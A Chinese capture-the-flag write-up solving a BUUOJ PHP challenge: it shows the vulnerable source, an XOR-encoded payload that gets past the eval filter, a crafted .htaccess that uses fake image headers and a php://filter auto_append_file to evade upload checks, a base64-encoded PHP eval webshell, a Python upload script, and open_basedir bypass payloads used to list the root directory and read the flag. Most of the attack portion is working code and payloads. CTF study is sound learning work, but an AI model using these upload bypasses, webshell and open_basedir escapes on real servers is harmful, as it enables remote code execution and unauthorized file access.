目录:
一、自己做:
题目开始就给了源码,
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
# 如果有东西的话
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);#取后缀
if(preg_match("/ph/i",$extension)) die("^_^");#控制后缀用的
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");# 检验临时文件中的内容。
if(!exif_imagetype($tmp_name)) die("^_^");#必须要是图片
$path= $userdir."/".$name;#目录随机的md5加密的
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
# 这个模式3,就是将使用过的字符弄出来,成一个字符串,使用不能够超过12个字母
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
直接就想着RCE。思路都没有一点。。
二、学到的&&不足:
.htaccess
绕过exif_imagetype()函数的两种方法。- 一个是预定义高度,宽度。
- 一个是利用那个啥东西16进制,后面有记录的。
<script language='php'>
这个方法。PHP在7版本以后就撤销了- 绕过对 内容
<?
的检验,除了面这个,还有方法: 1、进行base64编码,然后在.htaccess
文件中利用PHP伪协议进行解码, - 学习 bypass open_basedir
- python脚本上传文件,
- 学习了 PHP上传文件的脚本和python上传文件的脚本
三、学习WP:
一下均是学习大佬的思路:
1、代码分为两部分,上面是get_the_flag()
函数,应该是一个文件上传功能的验证函数,下面是通过_传参进去,如果能通过一系列的检验则可以执行eval()
函数。
如果这题是考RCE的话,为什么还要给出文件上传的代码呢…再看那些过滤,几乎很难去绕过,于是考虑调用get_the_flag()函数来看看可不可以通过文件上传功能。
2、所以接下来要构造payload绕过正则检测并且调用get_the_flag(),这里的过滤非常严格,几乎过滤了所有可见字符。方法无非是 取反,异或还有个自增。可以看这个。。,我里面整理完了
然后就可以看phpinfo。
${
%ff%ff%ff%ff^%a0%b8%ba%ab}{
%ff}();&%ff=phpinfo
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
也可以调用到get_flag()
函数了
3、接下来就是通过上传来getshell了。这里有些条件:
第一层看到有没有ph后缀的
第二层就是看文件内容有没有<?
第三层就是通过exif_imagetype函数看看是不是图片
由于他不允许上传后缀为ph的东西,黑名单绕过的东西都有ph所以不可取,但是我们通过phpinfo看到他的服务器是apache的,可以上传.htaccess
这个文件来绕过。
4、.htaccess
文件绕过exif_imagetype()
但是上传.htaccess
也是要经过判断图片的啊,如果我们直接在.htaccess
的文件头加上GIF89a的话,.htaccess
就不好使了,不能够生效了,这时候,解决办法有两个:
- 在
.htaccess
在头部定义图片大小来绕过exif_imagetype函数,如:
#define width 1000
#define height 1000
#在 .htaccess
中是注释符,所以不影响,
- 在
.htaccess
前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
5、绕过对 内容<?
的检验
由于PHP的版本大于7了,所以常规的绕过已经不好用了
绕过对 内容<?
的检验,除了面这个,还有方法: 1、进行base64编码,然后在.htaccess
文件中利用PHP伪协议进行解码,
这里用,base64的方式写入加密之后的木马,然后用.htaccess将该木马进行php伪协议解码,而后自动包含整个文件,就实现了一句话马,
.htacess
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"
shell.abc
GIF89a12
PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==
解码后是这个:<?php eval($_GET['c']);?>
。
这里的GIF89a后面的那个12是为了补足8个字节,满足base64编码的规则。
好了弄好了要上传的东西,现在就缺少能够上传文件的方法了,这里贴一个能够上传文件的脚本:
上传图片的时候,里面存放的是二进制数据,所以这里是二进制形式的。
import requests
import base64
htaccess = b"""#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_b899f0e544f3744ff318ad225e95da2e/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://0facdb41-e26d-4cf3-8e49-e17e9dfea87c.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
files = {
'file':('.htaccess',htaccess,'image/jpeg')}
data = {
"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {
'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
文件上传的脚本可以看这里:PHP代码文件文件上传 +++++ python脚本上传文件
加密后是这个:b899f0e544f3744ff318ad225e95da2e
这个路径可以这样看。
然后我按照他们的python上传文件,但是不好使,
https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/
https://www.freesion.com/article/2067630877/
https://www.cnblogs.com/hello-there/p/13039116.html
好用了,当时问题出在这里,我这里的二进制的时候,换行了,也就是体现在.htaccess文件中时,第一行有个换行,所以导致htaccess不好使,
这是本地测试时用的好使,
接着题目做:
python运行上述脚本
蚁剑连接
发现不能够看到其他的目录信息,可能有disabled_function。或者,然后我们取phpinfo去看看去
这个题主要时 绕过 这个 open_basedir的技巧
这个就不多说了吧,直接上网上的payload。
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
然后拿到flag。
这里时 file_get_contents 。注意,有s 的啊!!!
然后 内容是 ‘/flag’。前面的反斜杠代表是 根目录的意思啊!!!
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));
参考自:
https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/
https://www.freesion.com/article/2067630877/
https://www.cnblogs.com/hello-there/p/13039116.html